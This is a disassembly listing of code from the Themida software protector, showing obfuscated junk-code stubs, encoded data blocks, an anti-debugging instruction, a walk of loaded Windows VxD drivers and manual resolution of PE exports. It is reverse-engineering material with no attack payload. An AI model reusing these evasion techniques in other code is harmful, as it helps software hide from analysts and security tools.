sub_5E6AE8	proc near		; CODE XREF: Themida_:005E6AE0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5E6AE8	endp

; ---------------------------------------------------------------------------
		push	0D49063A4h
		pusha
		js	loc_5E6B1B
		jmp	loc_5E6B1B
; ---------------------------------------------------------------------------
		db 1Ah,	53h, 4
		dd 47413C6Eh, 0E68D0EF0h, 173DBE64h
		db 2Eh,	0D5h, 0B2h
; ---------------------------------------------------------------------------


loc_5E6B1B:				; CODE XREF: Themida_:005E6AFEj
					; Themida_:005E6B04j
		jmp	loc_5E6B31
; ---------------------------------------------------------------------------
		dd 207E3653h, 0E6FEA60Ch, 265A7117h, 0E979907Eh
		db 7Bh
; ---------------------------------------------------------------------------


loc_5E6B31:				; CODE XREF: Themida_:loc_5E6B1Bj
		lea	eax, [ebp+7FE51F3h]
		push	0
		push	ecx
		call	sub_5E6B42
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E6B42	proc near		; CODE XREF: Themida_:005E6B3Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5E6B42	endp

; ---------------------------------------------------------------------------
		cmpsd
		sub	[ebp+7FA25A9h],	ecx
		mov	[ebp+7FA0CE9h],	ebx
		push	eax
		jmp	loc_5E6B6A
; ---------------------------------------------------------------------------
		add	al, 0F5h
		cmp	al, 36h
		icebp


loc_5E6B6A:				; CODE XREF: Themida_:005E6B60j
		mov	[esp], eax
		push	0
		push	ebx
		call	sub_5E6B78
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E6B78	proc near		; CODE XREF: Themida_:005E6B70p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5E6B78	endp

; ---------------------------------------------------------------------------
		dd 37E17E59h, 0FF64FC36h, 35h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 2ADFDE85h
		dd 0D88BBBD7h, 1958589h, 896407FAh, 25h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 8DB7B791h, 0D885A515h, 8F858DFCh, 0F07FE52h,	18Eh, 6089F500h
		dd 5810F01h, 60000000h,	6114C580h, 157185C6h, 6A4F07FAh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0AA80C351h, 0C05B5961h, 68F5ACC1h, 0E29DA419h
		dd 0EE9h, 1541FA00h, 38198781h,	88F9BE88h, 8128C3A9h, 0D0112404h
		dd 6A1C2Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 3E56BFC3h, 5CDBD09h, 0B5FF07FAh, 7FA1E8Dh
		dd 0EE9h, 45DA4100h, 8C1B2CBEh,	7211729Dh, 8D54E1DDh, 0FE3A5885h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 4C4DF493h, 0C4DE6844h, 0D0FF0B5Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 73C35545h, 0B22F5274h
		dd 8880Fh, 800F0000h, 2, 0A8E96160h, 0E9000000h, 7, 182295D1h
		dd 8B911B7Fh, 550C245Ch, 0E8h, 0ED815D00h, 7FE51FDh, 1229858Bh
		dd 858907FAh, 7FA1E8Dh,	21DD858Bh, 858907FAh, 7FA039Dh
		dd 1F3D858Bh, 858907FAh, 7FA1379h, 157185C6h, 0C70007FAh
		dd 0FE3BBE85h, 7, 8F858D00h, 8907FE52h,	0B883h,	0C0335D00h
		dd 56006AC3h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0BCC56EFFh, 6A803D51h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0E424C351h
		dd 0D0B112C6h, 0BCE6E27Dh, 12FF74h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 3CC35242h, 643E3A4Ah, 2482AC96h
		dd 0DBD8942h, 6407FA0Bh, 58Fh, 89600000h, 0FA1AC9B5h, 0BE86007h
		dd 0E0000000h, 17C7606Eh, 0B9677558h, 615A155Eh, 0BE961h
		dd 1B80000h, 122D1902h,	176B94A6h, 4C483DCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 8EC35141h, 3AFCFF4Ch
		dd 31A95BF0h, 0FA15EDBDh, 11E86107h, 0AE000000h, 4D388473h
		dd 0FA5C0548h, 96802BE6h, 0F1D0F570h, 0CE8h, 6AAD0F00h
		dd 10238B74h, 0E3146025h, 15BD0B36h, 5F07FA06h,	0D5B7BF5Bh
		dd 0C3816967h, 7403h, 11258589h, 32B807FAh, 811EC524h
		dd 0C538FCF0h, 0D1BD8B1Eh, 0FF07FA09h, 959F833h, 0FA0319B5h
		dd 16E98107h, 5240C5C9h, 32D1B58Bh, 815E07FAh, 0C5A71CE9h
		dd 2DB58B6Ch, 8107FA06h, 25855C1h, 0E1BD8925h, 5107FA17h
		dd 0CF98D09h, 38F07FAh,	19E98529h, 0EB8107FAh, 78D73BDAh
		dd 2701958Bh, 0C38107FAh, 78D73BD6h, 14E8h, 0EFB34000h
		dd 68266CB3h, 0C8314C0h, 2A19393Bh, 0D2D476C1h,	4DB58BBDh
		dd 5A07FA27h, 1E881h, 850F0000h, 0FFFFFF83h, 18B18D29h
		dd 0BE807FAh, 4F000000h, 0F266C13Ah, 99FDBF7Bh,	0BD8B7860h
		dd 7FA062Dh, 0F860F5Bh,	0E8000000h, 6, 3803DF8Dh, 0B70F1FC2h
		dd 0C3815AFAh, 67DEh, 1549B589h, 0C96807FAh, 0F000019h
		dd 295ECEBFh, 0FA32059Dh, 8B038B07h, 0F3F081D3h, 3335D4CAh
		dd 0FA111D95h, 84C08107h, 0F5212B6h, 583h, 0C349BA00h
		dd 0E8811A2Fh, 1EF0FDB8h, 0A5D8D09h, 38907FAh, 0CD958B60h
		dd 8107FA03h, 5B0529F7h, 0EB836171h, 89950904h,	4E07FA06h
		dd 1D850Fh, 9D310000h, 7FA24F1h, 24E9h,	0A3408F00h, 0F33E03A5h
		dd 0CBB6E9EAh, 990EEF2h, 3251F25h, 0FA049D95h, 0FF8BE907h
		dd 0BBAAFFFFh, 0F1BED05Ch, 4934EBEDh, 474D5346h, 56202052h
		dd 2020444Bh, 56202020h, 20204D4Dh, 56202020h, 334E4957h
		dd 56202032h, 444C4458h, 202052h, 2 dup(0)
		dd 0E9000000h, 7BEh, 7810FFCh, 0F000000h, 18Ah,	6060F800h
		dd 0DF85C761h, 7FE54h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 5D40C355h
		dd 0F60BF26h, 1388h, 0DE800h, 0B2150000h, 1AA6B020h, 0EBEE2F9Eh
		dd 58966507h, 0F5576061h, 14E95Fh, 0EBB10000h, 8D895680h
		dd 0CA163827h, 0E9615AEAh, 2A7C5033h, 8B6116B6h, 50006AC6h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 2219812Fh, 870F4374h, 8, 0C0816660h,	61F933F5h, 1810Fh
		dd 0FF50000h, 0F560D8B7h, 9E9h,	0F3961500h, 0F4B658C2h
		dd 0F9617346h, 0E910E8C1h, 13h,	35411ACBh, 7D32AEBDh, 0AD3E159Ch
		dd 0B7DAEB63h, 66C40A36h, 6A08C8C1h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 90CBC350h
		dd 23D44D6Ch, 0E91B7DABh, 12h, 0A506F7ABh, 84CD8588h, 0E0D65862h
		dd 757016EEh, 8589CB0Fh, 7FE54E3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 72C35646h, 9E9h, 8C4CF500h
		dd 0CAA931FCh, 0C1668B33h, 12E908CBh, 29000000h, 0BD6AECEDh
		dd 7793D43Dh, 55B70F91h, 1B3A2940h, 40FB8382h, 2F850Fh
		dd 8DF90000h, 0FE54B7BDh, 0ECE9F807h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 5789C350h, 39FC54C2h, 0DFB83A4h, 72850Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0A64F72C3h, 14810F4Fh, 0F000000h, 0E85h, 9E900h, 15B40000h
		dd 11291986h, 8D994E9Fh, 0FE54BFBDh, 6060F807h,	0F8F88B66h
		dd 870F61h, 61000000h, 16EE9h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 6762ED2Fh
		dd 0F01FB83h, 0B285h, 10E900h, 0C4BD0000h, 0FCA92B75h
		dd 9F7ECF3Ch, 0B50FFF15h, 6E9C0EDh, 76000000h, 15BDD2D4h
		dd 0C7BD8D15h, 6A07FE54h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0C138C353h,	0F0FB874h
		dd 158Eh, 10E900h, 4E130000h, 742BEA45h, 0B9A8C4EAh, 12FF82A9h
		dd 0E0E9E550h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0CAD1C351h,	12CB16CBh
		dd 0C8C0Fh, 7E90000h, 38000000h, 0E06846DBh, 0B8602200h
		dd 5E2B0D62h, 0DE9h, 35F15600h,	0E1E08F6Dh, 7FD9DB81h
		dd 8361D012h, 850F2AFBh, 65h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0F3C35343h,	0A96030ECh, 0BD8DED2Bh
		dd 7FE54CFh, 5840FF8h, 60000000h, 61C68B66h, 52E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 2280375Bh, 0E9195ED5h, 5, 0D9059FAEh, 27FB83F1h, 30E850Fh
		dd 8B0F0000h, 10h, 0BE9h, 3D4F6F00h, 30B2053Eh,	0B098BBF6h
		dd 54D7BD8Dh, 89F807FEh, 0FE54E7BDh, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 20A8750Bh
		dd 17768216h, 6AC88C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 311EC351h, 87FF5DBBh
		dd 24D4DDB7h, 1E8B0F03h, 60000000h, 11E9h, 6FC4BF00h, 0BDAF8C0Dh
		dd 0D978BF10h, 9943272Eh, 0D181C93Eh, 2AEB2ED2h, 0CE961h
		dd 777E0000h, 0E679C792h, 19922928h, 0C00A56DDh, 1BF850Fh
		dd 66600000h, 0FB30BBAh, 8D61D8B7h, 0FE5B76B5h,	57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0CE905h, 8F340000h, 64661C1h, 0B83BAD46h, 858BEB3Ch
		dd 7FE5C22h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0D8C35141h, 5269395h, 0F0816660h, 8B66FFF2h, 0F9261D6h
		dd 118Eh, 0B8666000h, 6E969D4h,	0D1000000h, 0B3A39FAh
		dd 60506168h, 9261E28Ah, 0AE9h,	0D0695E00h, 7F5B2EC5h
		dd 60E8C164h, 5E9h, 90B5A800h, 6E8E8D6h, 96000000h, 0FBA86607h
		dd 615AF563h, 244C010Fh, 50006AFEh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0E767C34Eh, 5AF9F788h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 9C35545h
		dd 60F955E3h, 12E8h, 0B989DA00h, 7BFC4E98h, 0D9236251h
		dd 4AAC1E37h, 0FAAFF8Ah, 615FD0B7h, 6A24C283h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 107CC351h, 0E9031EC4h, 0DA80601Dh, 0BBBB66B1h, 896661C5h
		dd 6AFC72h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 666053C3h, 0C88BC88Bh, 0CEC1F561h, 53006A10h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 399CC110h, 58A0Fh, 66600000h, 6661DF8Bh, 0F8027289h
		dd 0E9F904CDh, 90h, 13830Fh, 0EE90000h,	9A000000h, 29B83E26h
		dd 41457F82h, 0CA2C5F2Eh, 22858BD8h, 6A07FE5Ch,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0B06FC357h, 9E9h, 79CD3800h,	977FB8Ch, 0B58D9F82h, 7FE5B76h
		dd 8E9h, 308B7300h, 2D774FC9h, 0EE858DF0h, 0E907FDDFh
		dd 14h,	8D00B162h, 9669DC38h, 0F4B9FD9Fh, 897A56E3h, 6E6DDA19h
		dd 8C0FD0FFh, 0Ch, 6880Fh, 8F0F0000h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+7FE54DFh],	eax
		push	0
		push	ecx
		call	sub_5E7631
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E7631	proc near		; CODE XREF: Themida_:005E7629p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5E7631	endp

; ---------------------------------------------------------------------------
		fld	dword ptr [ecx+7Ah]
		pop	edx
		jo	loc_5E764C
		cld


loc_5E764C:				; CODE XREF: Themida_:005E7645j
		popa
		jmp	loc_5E7659
; ---------------------------------------------------------------------------
		dw 0A207h
		dd 9C8AA9F1h
		db 0B8h
; ---------------------------------------------------------------------------


loc_5E7659:				; CODE XREF: Themida_:005E764Dj
		mov	eax, [ebp+7FE54DFh]
		pusha
		push	ebx
		jnp	$+6
		pop	esi
		movsx	eax, cx
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5E767A
; ---------------------------------------------------------------------------
		push	0D84C6147h
		retn
; ---------------------------------------------------------------------------
		db 9, 0A6h
; ---------------------------------------------------------------------------


loc_5E767A:				; CODE XREF: Themida_:005E766Dj
		pusha
		pusha
		sbb	di, 0C9BBh
		jle	loc_5E7689
		mov	bl, al


loc_5E7689:				; CODE XREF: Themida_:005E7681j
		popa
		jmp	loc_5E769A
; ---------------------------------------------------------------------------
		cld
		add	eax, [edi]
		lea	esp, [ebp-5Ch]
		push	cs
		cmp	[esi+7Ch], esi
		nop


loc_5E769A:				; CODE XREF: Themida_:005E768Aj
		cmp	dword ptr [ebp+7FE5C22h], 0
		jnz	loc_5E7701
		push	0
		push	edx
		call	sub_5E76B2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E76B2	proc near		; CODE XREF: Themida_:005E76AAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5E76B2	endp

; ---------------------------------------------------------------------------
		dw 0AC06h
		dd 1D255752h, 8E9C0h, 64D10000h, 0A91906E3h, 0C7F8A422h
		dd 0FE5C2285h, 1013F07h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0F88AED87h
; ---------------------------------------------------------------------------
		clc


loc_5E7701:				; CODE XREF: Themida_:005E76A1j
		jmp	loc_5E7724
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5E7711
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E7711	proc near		; CODE XREF: Themida_:005E7709p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5E7711	endp

; ---------------------------------------------------------------------------
		db 11h,	26h, 0BBh
; ---------------------------------------------------------------------------


loc_5E7724:				; CODE XREF: Themida_:loc_5E7701j
		VxDCall	0


loc_5E772A:				; CODE XREF: Themida_:005E7763j
		or	eax, eax
		jz	short loc_5E7765
		lea	esi, [eax+0Ch]
		mov	edi, [ebp+7FE54E7h]
		mov	ecx, 8


loc_5E773C:				; CODE XREF: Themida_:005E7740j
		cmpsb
		jnz	short loc_5E7761
		dec	ecx
		jnz	short loc_5E773C
		mov	ecx, [eax+30h]
		mov	ebx, [ebp+7FE54E3h]
		cmp	ebx, [eax+34h]
		jg	short loc_5E7765
		mov	edx, ebx
		imul	edx, 4
		add	ecx, edx
		mov	eax, [ecx]
		mov	[ebp+7FE54DFh],	eax
		jmp	short loc_5E7765
; ---------------------------------------------------------------------------


loc_5E7761:				; CODE XREF: Themida_:005E773Dj
		mov	eax, [eax]
		jmp	short loc_5E772A
; ---------------------------------------------------------------------------


loc_5E7765:				; CODE XREF: Themida_:005E772Cj
					; Themida_:005E774Ej ...
		popa
		mov	eax, [ebp+7FE54DFh]
		iret
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5E7778
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E7778	proc near		; CODE XREF: Themida_:005E7770p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5E7778	endp

; ---------------------------------------------------------------------------
		dd 60F06D3Ch, 0B0E5CBBBh, 0FABF0F50h, 7E961h, 0AFA30000h
		dd 6296A28Ah, 0CE982h, 0A8170000h, 0A0572732h, 0BCC7DFF1h
		dd 0C08BCADBh, 83E9h, 52515300h, 5C8B5756h, 81661C24h
		dd 0F5A4D3Bh, 6885h, 43B70F00h,	66D8033Ch, 45503B81h, 57850Fh
		dd 5B8B0000h, 245C0378h, 24738B1Ch, 1C247403h, 207B8B56h
		dd 31C738Bh, 320247Ch, 0FC202474h, 41FFC983h, 1C245C8Bh
		dd 5403178Bh, 0C7832024h, 84028A04h, 3A0874C0h,	43E87503h
		dd 3AF2EB42h, 5FE07503h, 0B70FE1D1h, 48B0F04h, 24440386h
		dd 5A5E5F1Ch, 8C25B59h,	0E9C03300h, 0FFFFFFF1h,	1E9CA8Bh
		dd 78000001h, 97360F0Bh, 838A055Ch, 1D76A188h, 0DD7A0E0Ah
		dd 3733538Fh, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h
		dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h
		dd 2060E0E0h, 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh
		dd 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h,	0A335375h
		dd 557D2F0Dh, 60206020h, 0A7286020h, 50F0362Bh,	0B6F360C9h
		dd 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h
		dd 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h
		dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	357D2F6Dh
		dd 0E0A1Eh, 0D25D3407h,	1E59A0A3h, 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5E939E
; ---------------------------------------------------------------------------
		push	7FE6323h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE6597h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE6777h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE6937h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE6A37h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE6BD2h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE6E94h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE70C1h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE7278h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE745Fh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE75D5h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		db 1Fh
		dd 737B87B1h, 916DA55Fh, 2E52C07Ah, 8B739FA5h, 8351C143h
		dd 5FE5F163h, 0FF01CBB3h, 60E2EB13h, 103CEB2h, 4E7A4611h
		dd 0C25FC657h, 12C6D6B0h, 20E4606Eh, 5BF63D87h,	0DE707A07h
		dd 0F20CC7B9h, 1F25B2CEh, 8C300C78h, 5D453968h,	564192CAh
		dd 0E783AE2Ah, 7CA355EFh, 0D5CA5D45h, 4BFDF7CCh, 7B53F793h
		dd 56A22BC9h, 0CA5D454Fh, 0F16C1BA8h, 82664AFAh, 0CA5D4563h
		dd 60A0E7BCh, 150CB875h, 6ECA5D45h, 2E526E65h, 0B35FA59Fh
		dd 5D45100Fh, 6B5869CAh, 0EED26E1Ch, 5D44DB0Ah,	0F89F34CAh
		dd 0E7F04812h, 0C50E975Dh, 10BB9FFBh, 95CFA9EEh, 62D25761h
		dd 1FA34452h, 0EF986B64h, 0A29C2B53h, 8D3F8F31h, 0B1C782F7h
		dd 12AE5641h, 22E2626Eh, 0D702FE89h, 0BB27832Dh, 0C263A6A4h
		dd 27E3B4FDh, 54EEE387h, 907017B0h, 253CA845h, 7EC263A6h
		dd 784BF1E2h, 9D49654Bh, 0C263A686h, 37C5D2DFh,	63A68993h
		dd 1D17A6C2h, 2FD1FBD7h, 599013D5h, 5D019FFCh, 0AF557E73h
		dd 4047E024h, 5AF646A5h, 0A22BC943h, 0E3C803F5h, 17B054EEh
		dd 6C6804ACh, 19AA5081h, 0C54552DBh, 0F4D5D9E9h, 0C6475E8Ah
		dd 13A0C263h, 0FCE303C1h, 0E0361BA7h, 0C6D102D0h, 86E61FBAh
		dd 526C4925h, 59857F54h, 0DA60717Eh, 7E42911Ah,	0FFA1DC36h
		dd 0A2F59481h, 33D1FEDAh, 1A28A5D1h, 2FD5FEDAh,	58D1FCD5h
		dd 0A9D7D481h, 0FDF70DC5h, 39688C34h, 92C26389h, 4C8F5641h
		dd 1DACD0ECh, 88CED523h, 9A27C263h, 0EBC00BEDh,	9A262DCh
		dd 1ED65067h, 0DE823E95h, 0CA484FF5h, 0C3C6DEE6h, 470BFF99h
		dd 5B1C4D40h, 8BAF026Fh, 0ED00000Bh, 0DF656E12h, 5B388C25h
		dd 3016280h, 21ACCCBBh,	8E175720h, 0FA3D5FCAh, 37BA0A8Bh
		dd 537F41F6h, 0CA5E1C4Ch, 9A71CA5h, 1BD96B65h, 9BCA2E92h
		dd 0F4CA5E1Ch, 704CB8DFh, 0B73DC70Ch, 7C57A9EEh, 1C1C43AFh
		dd 2D75CA5Eh, 991519E4h, 0F9CAF9DCh, 0D69EF09h,	318F44FEh
		dd 5FE5F18Dh, 0E822B9A5h, 0EA44ACDBh, 0A7D25823h, 0F5C0DF03h
		dd 8819C263h, 0BBBAAC3Ch, 4A3D9631h, 15D6370h, 1CA2AD0h
		dd 0DEA9537Fh, 72AFB226h, 6454C263h, 6433CD08h,	7EE26279h
		dd 6224B054h, 550EA18Dh, 1D4C4146h, 6F026FDEh, 0C53FC10Bh
		dd 8EDC9BECh, 18000000h, 0E3626E12h, 0F56D5FB0h, 0D62EA59Bh
		dd 0A95B73FDh, 0BA0EACDEh, 0F2F1D51Ch, 4BCA5D79h, 1EA74D76h
		dd 636F0BB5h, 0AE12AED9h, 7F013BD2h, 14DCAB55h,	0D257AF3Eh
		dd 84BE1733h, 0E2E0A780h, 408BEFD1h, 1A6D46BEh,	3C9AB662h
		dd 0E6F97F08h, 5C26344h, 9FBB39CBh, 78EC0832h, 0A165F2E9h
		dd 0F276ADF5h, 0AC8988A7h, 57E702DBh, 6027D9F3h, 6F943C2Dh
		dd 0E7EC9002h, 0BCD2A5Dh, 0EB000002h, 6FC23CFh,	3567C264h
		dd 8F36DA62h, 0A6F1C200h, 656E1276h, 388C25DFh,	70677D60h
		dd 75831420h, 6408A85Ah, 55AFD868h, 82A14569h, 0DBCA5D38h
		dd 17BFC1C6h, 37F7EEDAh, 8350CA5Dh, 0DC8B450h, 630D37A0h
		dd 0C7E9DA54h, 37E0FFE3h, 6839CA5Dh, 0D5B9651Fh, 5D37F2F1h
		dd 34CE09CAh, 0D3BBF7D0h, 5D37F0EFh, 4B7849CAh,	6F913C3Ch
		dd 53598151h, 34885AD2h, 0B707A763h, 90EA6CE5h,	0A34D3AF1h
		dd 0CA5DCF69h, 0E2062BA6h, 0CA5DC6C3h, 743C871Ch, 5542FAD8h
		dd 0D11EB9B5h, 5DC6FE25h, 794A57CAh, 87B91337h,	49B3E46Dh
		dd 226F656Dh, 753D5F30h, 515AE022h, 41C30B6Fh, 2A466A56h
		dd 9A339A93h, 674ED57Eh, 2DBC985Ch, 8B3811F3h, 0DD9674FCh
		dd 0C19DD257h, 6A21F12Ah, 20E316BAh, 0E59221B3h, 0CDD0E1CBh
		dd 0F2D6BAF6h, 0C26351F3h, 8210774Ch, 110BA2BEh, 552D5AF3h
		dd 94AE2383h, 0B91D813Fh, 0C26352AAh, 0D7E9AE03h, 43E97B3h
		dd 98602700h, 0CA60925Fh, 0DD57660Ah, 39098E17h, 6638BD69h
		dd 794A4088h, 706F5337h, 0C9BA6587h, 0DB18FF8h,	24E05A71h
		dd 87554C78h, 25AEBA65h, 3F97E9AEh, 0D91B21B2h,	878A993Dh
		dd 0CEE3BA65h, 0CEF2CE05h, 6586FB2Ah, 3FC512BAh, 0A9692E83h
		dd 3B51BD05h, 2FA0C862h, 5D2A99A3h, 5A7EB31Bh, 0BA65C34Bh
		dd 0EDC40FA4h, 0CEA872A0h, 0CBFEDB35h, 0AF000014h, 3EB1721h
		dd 0A1DD35CFh, 0FE02100Ah, 9BE32FD5h, 53011133h, 8FB52133h
		dd 0AF517B83h, 90B21B63h, 0B1537E82h, 9E4A7661h, 0C25FC187h
		dd 127686E0h, 24E0646Eh, 0D2FCFC8Bh, 0AB49F3DFh, 6B0FB122h
		dd 0BF418C61h, 27078314h, 75618E43h, 0CA5E246Eh, 2BC9FAC7h
		dd 0FACDBDA3h, 8B3862AEh, 1AA2C125h, 0A6FBCA5Eh, 0F7349FE1h
		dd 5E19D4CBh, 0DCA42DCAh, 18B153CDh, 0C4BD05ABh, 7FE3D5F3h
		dd 7A36D4C3h, 5FB3B216h, 0B70CCA5Dh, 6E12CCD0h,	0D2B8DF65h
		dd 1C24B008h, 9A509A7h,	242241A5h, 267BCA5Eh, 5E24A3C2h
		dd 0E0A7FCCAh, 58593A18h, 824D31D2h, 2C988480h,	0C263EF35h
		dd 458E458Eh, 4CF6DF7Bh, 75611FA8h, 0EB9C35CFh,	0EEC2DD91h
		dd 0F1E1C263h, 0E90DA94Bh, 0C263EEBAh, 15C2BE13h, 0EEE915EFh
		dd 0CE0D9454h, 0F5998581h, 63EDD2D1h, 0F1962BC2h, 0A9C57574h
		dd 7D581812h, 0A0B1D4C3h, 0F4026FB3h, 0D2C57F58h, 1D525h
		dd 0EBE78300h, 6D1AB351h, 4AAE12A7h, 0CA5E241Bh, 13626074h
		dd 3896F019h, 0D1FCFC8Bh, 407C2930h, 0D301590Bh, 4D05B828h
		dd 0BAF6CDBFh, 0D9F3F2D6h, 774CCA5Dh, 4E887410h, 1DD76963h
		dd 0CE944094h, 0E505798Bh, 21AED2EEh, 66512724h, 4390F9CEh
		dd 0C40CA854h, 0D1B026h, 0A331FAFAh, 353BF9FFh,	551B6CA6h
		dd 0CA5E043Bh, 0F094E8B8h, 0BA18AE3Bh, 27C9BC0Ah, 0DFA87284h
		dd 7E0D36A1h, 87E1EF42h, 41C30B75h, 84522E92h, 2ED60080h
		dd 6905A969h, 9730D46Eh, 0E8C510F0h, 149D57D1h,	296732C0h
		dd 0FAC952A1h, 0F7EEDAB6h, 50CA5DACh, 5B99A330h, 0EE9601D2h
		dd 5B8A6E52h, 0B4CA5DADh, 0C892781Fh, 12C627C4h, 5DA4BFE6h
		dd 398B18CAh, 0D7ECEAE4h, 596675D9h, 0F50FC47Eh, 318D2B5Ch
		dd 0A22D824Dh, 0F8D133A0h, 0D6E3E98Fh, 84E8D257h, 733CB848h
		dd 0B98E1624h, 9C232CF2h, 623E8251h, 63776F76h,	8CFBC8C2h
		dd 0B31E42FEh, 0ADDA7391h, 0FFE303D5h, 0C26376E0h, 555B6839h
		dd 6126DCF9h, 0B51F3B5Fh, 0B7E0698Bh, 60B3E741h, 3A98B4CAh
		dd 5E290202h, 32D2FC64h, 0E6CAF9D2h, 43B74E8Ah,	191B48B4h
		dd 0F3C5D201h, 0EA24B397h, 0D1735B9Dh, 0BF418BEFh, 0F5046C45h
		dd 0A7F0B93Bh, 0E6CB03EBh, 3A675CE8h, 0CEA73CEFh, 57718EE6h
		dd 3B000012h, 57976B95h, 2D51C17Bh, 926EA49Eh, 2747BB41h
		dd 0D77D95AFh, 1B29A5AFh, 33CD07E7h, 0C369FDFh,	25DFFAF6h
		dd 72566AEDh, 0C25FBF73h, 0D2EAAACCh, 0F0C00004h, 48AC7229h
		dd 0CA5D3F19h, 66736172h, 0F595029Bh, 8AB81539h, 1BD0FBFDh
